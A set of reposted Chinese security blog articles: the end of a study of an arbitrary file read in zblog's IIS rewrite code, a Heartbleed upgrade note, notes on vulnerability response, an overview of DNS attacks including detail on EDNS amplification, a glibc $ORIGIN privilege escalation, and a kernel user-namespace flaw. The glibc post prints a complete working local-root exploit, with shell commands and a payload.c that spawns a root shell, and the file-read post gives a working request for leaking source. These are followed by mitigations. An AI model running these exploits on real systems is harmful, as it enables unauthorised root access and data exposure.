        $realurl = $zbp->path . urldecode($url);
        if(is_readable($realurl)&&is_file($realurl)){
            die(file_get_contents($realurl));
        }
        unset($realurl);
    }
    

    这里判断了

    $_SERVER['SERVER_SOFTWARE']
    

    是否包含Microsoft-IIS,当服务器中间件是IIS,而且

    $_GET['rewrite']
    

    的话,就进入这个if语句。再判断$url指向的文件是否存在,存在就把它使用file_get_contents读取并显示出来。

    实际上这段代码所做的工作和我们之前看到的python代码是一样的。为什么php也需要这样的工作,我们url请求的文件不应该就直接由webserver返回给用户了吗?

    实际上,这里开发者也考虑了url重写造成的问题。zblog重写的规则是将所有请求都指向index.php去处理,最后由index.php去处理,有可能我们的静态文件就被rewrite到index.php去了,这里的工作就是把被重写到php里的这个静态文件直接显示出来。

    可惜我还是才疏学浅,不知道怎么写rewrite规则才能让静态文件请求被重写到index.php里,所以也做不到任意文件读取了。

    但我们这里很明显的可以发现,zblog的开发者也没有检查这个$url是否在网站目录内,或是否在静态文件目录内,也是直接读取显示了。导致我们请求http://10.211.55.3/zblog/index.php?action=&rewrite=1是可以读取index.php的源码的(因为我没有IIS环境,我手工将SERVER_SOFTWARE改成IIS了~):

    2015030401212379345

    所以,传统PHP应用下是否可能存在这样的安全漏洞,这个问题还是有待继续研究的。理论上,我们如果写出一个这样的rewrite规则:将所有请求都交给index.php处理。那么,index.php的功能实际上就和之前的python框架主文件功能类似了。

    0x05 结语


    最后,自己也只是浅显得研究和讨论了几种python框架、php某个特殊情况的漏洞,但现代的开发技术,包括企业级的一些环境我并不熟悉也没怎么接触过,所以有什么欠考虑和不完善的地方,也需要各位去补充与纠正。

    转载请注明:爱开源 » 新型任意文件读取漏洞的研究

  • 升级 Ubuntu 中的 OpenSSL 库

    How to upgrade OpenSSL on Ubuntu?

    4月8日爆出的 heartbleed 漏洞要求把 OpenSSL 升级到 1.0.1g 版本。

    关于这个漏洞的技术说明,可以看这里: 关于OpenSSL“心脏出血”漏洞的分析

    Heartbleed test 网站,可以测试自己的网站有没有这个漏洞。

    我最担心的,是在升级 OpenSSL 的过程中,远程 SSH 无法连线。

    OSChinaSegmentfault 上询问后,得知这种情况不会发生。

    另外,可以采用比较保险的方法:

    保险起见,你在现有的ssh连接上输入命令升级openssl,然后重启服务。不要断开SSH连接。然后新开一个SSH会话,确认一切正常后再断开旧的SSH连接。

    升级的方法,参照这几篇文章吧,我就懒得写了:

    转载请注明:爱开源 » 升级 Ubuntu 中的 OpenSSL 库

  • openssl heartbeat 漏洞看漏洞响应质量

    互联网上信息传播速度和影响力比以前增长了不啻数倍,甲方在响应漏洞的时候,咱得跟上节奏,否则就可能被曝光了,在大水军的推动下,安全行业已经升华为情报行业了,嗯,通俗的说就是安全和娱乐挂钩,优雅点就是安全要接地气,要深入群众深入平常百姓。只要公司所在的领域竞争足够激烈,一定会有人帮你找漏洞的,也一定会有人帮你打广告,因为对他们来说,这是项目,这是KPI,这是人民币,咱需要,他们也同样需要。

    心血漏洞已经被媒体撩hi了,互联网媒体报道了,传统媒体也报道了,当老板过问此事的时候,咱的回答也大概反应了咱的专业程度。

    要快速,有效的处理openssl heartbeat这类漏洞,建议考虑下面几点:

    0、资源清单

    有扫描1-65535吗?

    平时端口扫描有识别应用吗?

    公开的exp有什么危害?私有的exp大概在啥范围传播?

    有了这些信息,接下来的事情的速度就有保障了。

    如果万一你还能知道什么ip跑的什么域名运行的什么server什么app的什么版本,负责人是谁,那就更犇了,不过这事在互联网公司知易行难。

    1、处理思路

    有轻重缓急吗?如果老板问起的时候只处理了下面环节中的部分,也是说的过去的,但得思路清晰,有时间点。

    公开的https 默认端口–>公开的smtps pops–>公开的https非默认端口–>公开的smtps pops非默认端口

    接着按照上面的优先级处理非公开的的SSL。

    2、处理要点

    能配置解决就配置解决。例如关闭某些应用的TLS支持。

    能把公开的变成非公开的争取时间也行。例如加ACL,至于黑客在内部可以绕过ACL了,那是另外的问题了。

    要备份原有的ssl库(因为有可能用了新库可能会导致业务不稳定的,要做好回滚的准备,哪怕只是yum update openssl一下)

    3、后话

    端口扫描看似简单,我知道的端口扫描这事运营的好的公司真不多,我个人认为端口扫描是安全团队基础安全能力的重要体现,共勉之!

    当然了,咱的KPI可能不在这,理解万岁:)

    另外如果黑客在内部了,处理起来变化会多很多,不过这是另外一个话题了:咱内部有IDS能发现有人在扫SSL漏洞吗?

    质量=效率+效果

    转载请注明:爱开源 » openssl heartbeat 漏洞看漏洞响应质量

  • DNS攻击原理与防范

    随着网络的逐步普及,网络安全已成为INTERNET路上事实上的焦点,它关系着INTERNET的进一步发展和普及,甚至关系着INTERNET的生存。可喜的是我们那些互联网专家们并没有令广大INTERNET用户失望,网络安全技术也不断出现,使广大网民和企业有了更多的放心,下面就网络安全中的主要技术作一简介,希望能为网民和企业在网络安全方面提供一个网络安全方案参考。

    DNS的工作原理

    DNS分为Client和Server,Client扮演发问的角色,也就是问Server一个Domain Name,而Server必须要回答此Domain Name的真正IP地址。而当地的DNS先会查自己的资料库。如果自己的资料库没有,则会往该DNS上所设的的DNS询问,依此得到答案之后,将收到的答案存起来,并回答客户。

    DNS服务器会根据不同的授权区(Zone),记录所属该网域下的各名称资料,这个资料包括网域下的次网域名称及主机名称。

    在每一个名称服务器中都有一个快取缓存区(Cache),这个快取缓存区的主要目的是将该名称服务器所查询出来的名称及相对的IP地址记录在快取缓存区中,这样当下一次还有另外一个客户端到次服务器上去查询相同的名称 时,服务器就不用在到别台主机上去寻找,而直接可以从缓存区中找到该笔名称记录资料,传回给客户端,加速客户端对名称查询的速度。例如:

    当DNS客户端向指定的DNS服务器查询网际网路上的某一台主机名称 DNS服务器会在该资料库中找寻用户所指定的名称 如果没有,该服务器会先在自己的快取缓存区中查询有无该笔纪录,如果找到该笔名称记录后,会从DNS服务器直接将所对应到的IP地址传回给客户端 ,如果名称服务器在资料记录查不到且快取缓存区中也没有时,服务器首先会才会向别的名称服务器查询所要的名称。例如:

    DNS客户端向指定的DNS服务器查询网际网路上某台主机名称,当DNS服务器在该资料记录找不到用户所指定的名称时,会转向该服务器的快取缓存区找寻是否有该资料 ,当快取缓存区也找不到时,会向最接近的名称服务器去要求帮忙找寻该名称的IP地址 ,在另一台服务器上也有相同的动作的查询,当查询到后会回复原本要求查询的服务器,该DNS服务器在接收到另一台DNS服务器查询的结果后,先将所查询到的主机名称及对应IP地址记录到快取缓存区中 ,最后在将所查询到的结果回复给客户端

    常见的DNS攻击包括:

    1) 域名劫持

    通过采用黑客手段控制了域名管理密码和域名管理邮箱,然后将该域名的NS纪录指向到黑客可以控制的DNS服务器,然后通过在该DNS服务器上添加相应域名纪录,从而使网民访问该域名时,进入了黑客所指向的内容。

    这显然是DNS服务提供商的责任,用户束手无策。

    2) 缓存投毒

    利用控制DNS缓存服务器,把原本准备访问某网站的用户在不知不觉中带到黑客指向的其他网站上。其实现方式有多种,比如可以通过利用网民ISP端的DNS缓存服务器的漏洞进行攻击或控制,从而改变该ISP内的用户访问域名的响应结果;或者,黑客通过利用用户权威域名服务器上的漏洞,如当用户权威域名服务器同时可以被当作缓存服务器使用,黑客可以实现缓存投毒,将错误的域名纪录存入缓存中,从而使所有使用该缓存服务器的用户得到错误的DNS解析结果。

    最近发现的DNS重大缺陷,就是这种方式的。只所以说是“重大”缺陷,据报道是因为是协议自身的设计实现问题造成的,几乎所有的DNS软件都存在这样的问题。

    3)DDOS攻击

    一种攻击针对DNS服务器软件本身,通常利用BIND软件程序中的漏洞,导致DNS服务器崩溃或拒绝服务;另一种攻击的目标不是DNS服务器,而是利用DNS服务器作为中间的“攻击放大器”,去攻击其它互联网上的主机,导致被攻击主机拒绝服务。

    4) DNS欺骗

    DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。

    原理:如果可以冒充域名服务器,然后把查询的IP地址设为攻击者的IP地址,这样的话,用户上网就只能看到攻击者的主页,而不是用户想要取得的网站的主页了,这就是DNS欺骗的基本原理。DNS欺骗其实并不是真的“黑掉”了对方的网站,而是冒名顶替、招摇撞骗罢了。

    现在的Internet上存在的DNS服务器有绝大多数都是用bind来架设的,使用的bind版本主要为bind 4.9.5+P1以前版本和bind 8.2.2-P5以前版本.这些bind有个共同的特点,就是BIND会缓存(Cache)所有已经查询过的结果,这个问题就引起了下面的几个问题的存在.

    DNS欺骗

    在DNS的缓存还没有过期之前,如果在DNS的缓存中已经存在的记录,一旦有客户查询,DNS服务器将会直接返回缓存中的记录

    防止DNS被攻击的若干防范性措施

    互联网上的DNS放大攻击(DNS amplification attacks)急剧增长。这种攻击是一种数据包的大量变体能够产生针对一个目标的大量的虚假的通讯。这种虚假通讯的数量有多大?每秒钟达数GB,足以阻止任何人进入互联网。

    与老式的“smurf attacks”攻击非常相似,DNS放大攻击使用针对无辜的第三方的欺骗性的数据包来放大通讯量,其目的是耗尽受害者的全部带宽。但是,“smurf attacks”攻击是向一个网络广播地址发送数据包以达到放大通讯的目的。DNS放大攻击不包括广播地址。相反,这种攻击向互联网上的一系列无辜的第三方DNS服务器发送小的和欺骗性的询问信息。这些DNS服务器随后将向表面上是提出查询的那台服务器发回大量的回复,导致通讯量的放大并且最终把攻击目标淹没。因为DNS是以无状态的UDP数据包为基础的,采取这种欺骗方式是司空见惯的。

    这种攻击主要依靠对DNS实施60个字节左右的查询,回复最多可达512个字节,从而使通讯量放大8.5倍。这对于攻击者来说是不错的,但是,仍没有达到攻击者希望得到了淹没的水平。最近,攻击者采用了一些更新的技术把目前的DNS放大攻击提高了好几倍。

    当前许多DNS服务器支持EDNS。EDNS是DNS的一套扩大机制,RFC 2671对次有介绍。一些选择能够让DNS回复超过512字节并且仍然使用UDP,如果要求者指出它能够处理这样大的DNS查询的话。攻击者已经利用这种方法产生了大量的通讯。通过发送一个60个字节的查询来获取一个大约4000个字节的记录,攻击者能够把通讯量放大66倍。一些这种性质的攻击已经产生了每秒钟许多GB的通讯量,对于某些目标的攻击甚至超过了每秒钟10GB的通讯量。

    要实现这种攻击,攻击者首先要找到几台代表互联网上的某个人实施循环查询工作的第三方DNS服务器(大多数DNS服务器都有这种设置)。由于支持循环查询,攻击者可以向一台DNS服务器发送一个查询,这台DNS服务器随后把这个查询(以循环的方式)发送给攻击者选择的一台DNS服务器。接下来,攻击者向这些服务器发送一个DNS记录查询,这个记录是攻击者在自己的DNS服务器上控制的。由于这些服务器被设置为循环查询,这些第三方服务器就向攻击者发回这些请求。攻击者在DNS服务器上存储了一个4000个字节的文本用于进行这种DNS放大攻击。

    现在,由于攻击者已经向第三方DNS服务器的缓存中加入了大量的记录,攻击者接下来向这些服务器发送DNS查询信息(带有启用大量回复的EDNS选项),并采取欺骗手段让那些DNS服务器认为这个查询信息是从攻击者希望攻击的那个IP地址发出来的。这些第三方DNS服务器于是就用这个4000个字节的文本记录进行回复,用大量的UDP数据包淹没受害者。攻击者向第三方DNS服务器发出数百万小的和欺骗性的查询信息,这些DNS服务器将用大量的DNS回复数据包淹没那个受害者。

    如何防御这种大规模攻击呢?首先,保证你拥有足够的带宽承受小规模的洪水般的攻击。一个单一的T1线路对于重要的互联网连接是不够的,因为任何恶意的脚本少年都可以消耗掉你的带宽。如果你的连接不是执行重要任务的,一条T1线路就够了。否则,你就需要更多的带宽以便承受小规模的洪水般的攻击。不过,几乎任何人都无法承受每秒钟数GB的DNS放大攻击。

    因此,你要保证手边有能够与你的ISP随时取得联系的应急电话号码。这样,一旦发生这种攻击,你可以马上与ISP联系,让他们在上游过滤掉这种攻击。要识别这种攻击,你要查看包含DNS回复的大量通讯(源UDP端口53),特别是要查看那些拥有大量DNS记录的端口。一些ISP已经在其整个网络上部署了传感器以便检测各种类型的早期大量通讯。这样,你的ISP很可能在你发现这种攻击之前就发现和避免了这种攻击。你要问一下你的ISP是否拥有这个能力。

    最后,为了帮助阻止恶意人员使用你的DNS服务器作为一个实施这种DNS放大攻击的代理,你要保证你的可以从外部访问的DNS服务器仅为你自己的网络执行循环查询,不为任何互联网上的地址进行这种查询。大多数主要DNS服务器拥有限制循环查询的能力,因此,它们仅接受某些网络的查询,比如你自己的网络。通过阻止利用循环查询装载大型有害的DNS记录,你就可以防止你的DNS服务器成为这个问题的一部分。

    结束语:网络攻击越来越猖獗,对网络安全造成了很大的威胁。对于任何黑客的恶意攻击,都有办法来防御,只要了解了他们的攻击手段,具有丰富的网络知识,就可以抵御黑客们的疯狂攻击。一些初学网络的朋友也不必担心,因为目前市场上也已推出许多网络安全方案,以及各式防火墙,相信在不久的将来,网络一定会是一个安全的信息传输媒体。特别需要强调的是,在任何时候都应将网络安全教育放在整个安全体系的首位,努力提高所有网络用户的安全意识和基本防范技术。这对提高整个网络的安全性有着十分重要的意义。

    转载请注明:爱开源 » DNS攻击原理与防范

  • Linux glibc 漏洞:普通用户获得root权限

    前言:经我测试在RHEL5 / CentOS5 / FC13都成功了。

    首先介绍下一下具体步骤中涉及到的2个频繁的出现的词语:

    taviso:作者 Tavis Ormandy 的简称,Google信息安全工程师 个人微博:http://my.opera.com/taviso/blog/ http://twitter.com/taviso exploit:自己创建的目录,表意漏洞利用,可以取任何名字。

    原理:The GNU C library dynamic linker expands $ORIGIN in setuid library search path 详见作者博客 [cc lang=’abap’ ] $ mkdir /tmp/exploit

    $ ln /bin/ping /tmp/exploit/target

    $ exec 3< /tmp/exploit/target

    $ ls -l /proc/$$/fd/3 lr-x—— 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*

    $ rm -rf /tmp/exploit/

    $ ls -l /proc/$$/fd/3 lr-x—— 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)

    $ cat > payload.c void attribute((constructor)) init() { setuid(0); system(“/bin/bash”); } ^D

    $ gcc -w -fPIC -shared -o /tmp/exploit payload.c

    $ ls -l /tmp/exploit -rwxrwx— 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

    $ LD_AUDIT=”$ORIGIN” exec /proc/self/fd/3 sh-4.1

    # whoami root sh-4.1

    # id uid=0(root) gid=500(taviso)

    看到了吧!是不是很恐怖。以下有2种解决办法:

    1,绑定目录

    需要理解一下nosuid的原理: 我的理解是:比如/etc/passwd这个文件,本来只有root有权限修改,但是用户本身也可以去修改自己的密码,这就是一种“超出它本身权限的行为”, nosuid就是为了停止这种提升特权的办法。比如/tmp目录就有这样的权限,我们就需要对它控制。 [cc lang=’abap’ ] # mount -o bind /tmp /tmp # mount -o remount,bind,nosuid /tmp /tmp [/cc] 2,升级glibc版本(红帽官方提供的解决办法) [cc lang=’abap’ ] #yum update glibc [/cc]

    转载请注明:爱开源 » Linux glibc 漏洞:普通用户获得root权限

  • GNU/Linux内核新特性引发提权漏洞

    SUSE安全研究成员Sebastian Krahmer公布了GNU/Linux内核提权漏洞,最近的GNU/Linux kernel(3.8+)引进了一个为了方便container实现的新特性:user-namespaces(user-ns, CLONE_NEWUSER flag),这个特性可以让你拥有你自己为0的UID,作为container对于进程的隔离这样方便了实现,但也带来了相关的安全隐患。

    具体的讲,如果你把这个特性和CLONE_FS混合的使用就会让不同的container(即进程)间共享文件系统的状态,攻击者会通过这样的组合得到root权限:

    20130318231820_72237

    只有当子进程得到自己的user-ns(用户命名空间)时父进程和子进程共享了文件系统的信息(这个例子中的chroot就是如此),在自己的user-ns里使用chroot()系统调用并且和在clone()时加入CLONE_FS就会直接影响父进程,而父进程是在user-ns的初始化阶段时就已经拥有root权限了,exploit已经公布到这里

    clown-newuser

    btw: 这个exploit已经在openSUSE 12.1 + kernel 3.8.2上测试通过。
    

    相关文章

    转载请注明:爱开源 » GNU/Linux内核新特性引发提权漏洞